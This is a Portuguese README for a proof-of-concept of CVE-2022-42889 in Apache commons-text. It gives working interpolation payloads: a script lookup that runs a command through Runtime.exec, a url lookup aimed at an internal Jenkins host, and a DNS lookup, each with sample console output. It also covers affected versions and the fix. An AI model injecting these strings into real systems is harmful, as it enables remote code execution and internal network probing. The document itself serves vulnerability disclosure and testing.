
Prova de Conceito para a vulnerabilidade do Apache commons-text CVE-2022-42889.
Esta é uma Prova de Conceito para a vulnerabilidade CVE-2022-42889. Este código executará o código JavaScript 195 + 324. Se vulnerável, a saída deve ser:
PoC Output: 519
Para executar isto, você precisará de:
Quando solicitado por uma string de exploração, você pode fornecer sua própria string de exploração (e pressionar Enter para inserir a string) ou simplesmente pressionar Enter para usar a string de exploração padrão ${script:javascript:195 + 324}.
Alternativamente, você pode usar o Docker para executar este PoC:
docker build -t poc .
docker run -it poc
O problema decorre do fato de que as seguintes chaves não devem ser interpoladas por padrão (conforme a documentação https://commons.apache.org/proper/commons-text/apidocs/org/apache/commons/text/lookup/StringLookupFactory.html):
scriptdnsurlEsta pesquisa (lookup) permite que o código JavaScript fornecido seja executado. O resultado é a capacidade de um atacante executar código arbitrário no sistema.
${script:<engine>:<code>}
${script:javascript:java.lang.Runtime.getRuntime().exec('mkdir poc-test')}
Exemplo no PoC:
Enter your exploit string (press Enter to use the default of '${script:javascript:195 + 324}'):
${script:javascript:java.lang.Runtime.getRuntime().exec("mkdir poc-test")}
Warning: Nashorn engine is planned to be removed from a future JDK release
===================================================================================================================
Exploiting PoC with the exploit string '${script:javascript:java.lang.Runtime.getRuntime().exec("mkdir poc-test")}'
===================================================================================================================
PoC Output:
-------------------------------------------------------------------------------------------------------------------
Process[pid=67, exitValue=0]
===================================================================================================================
Esta pesquisa chama a URL especificada. Um atacante poderia aproveitar isso para realizar requisições GET básicas a recursos internos.
${url:<character-encoding>:<url>}
${url:UTF-8::https://internal-jenkins.companyx.net/}
Exemplo no PoC:
Enter your exploit string (press Enter to use the default of '${script:javascript:195 + 324}'):
${url:UTF-8:https://www.google.com/}
===================================================================================================================
Exploiting PoC with the exploit string '${url:UTF-8:https://www.google.com/}'
===================================================================================================================
PoC Output:
-------------------------------------------------------------------------------------------------------------------
<!doctype html><html itemscope="" itemtype="http://schema.org/WebPage" lang="en-GB"><head>
....
</body></html>
===============================================================================================
Esta pesquisa realiza uma consulta DNS ou uma pesquisa reversa. Isso poderia permitir que um atacante identifique recursos internos.
${dns:<address,canonical-name,name>|<host>}
${dns:address|internal-jenkins.companyx.net}
Exemplo no PoC:
Enter your exploit string (press Enter to use the default of '${script:javascript:195 + 324}'):
${dns:address|www.google.com}
===================================================================================================================
Exploiting PoC with the exploit string '${dns:address|www.google.com}'
===================================================================================================================
PoC Output:
-------------------------------------------------------------------------------------------------------------------
142.250.200.4
===================================================================================================================
No entanto, devido a uma falha na lógica, essas 3 chaves são interpoladas por padrão, quando não deveriam (já que poderiam representar um risco de segurança).
Um atacante com controle sobre a string passada para uma substituição StringSubstitutor afetada poderia permitir que o atacante:
StringSubstitutorPara que seu código seja vulnerável, você precisa:
Estar executando uma versão do Apache commons-text da versão 1.5.0 até (e não incluindo) 1.10.0
Usar Interpolação para sua StringSubstituion (veja https://commons.apache.org/proper/commons-text/apidocs/org/apache/commons/text/StringSubstitutor.html)
Observe que a partir do JDK 15, o mecanismo JavaScript Nashorn não está mais incluído. No entanto, o mecanismo JEXL ainda está incluído e, como resultado, RCE ainda pode ser possível.
A correção para isso é atualizar suas instâncias de commons-text para as versões 1.10.0 ou posteriores.
As outras pesquisas padrão ainda podem potencialmente representar um risco de segurança (como a capacidade de ler conteúdo de arquivos, ler propriedades do sistema, etc). Use este recurso com cautela e certifique-se de que toda entrada do usuário seja adequadamente sanitizada (por exemplo, passando por uma lista de permissões).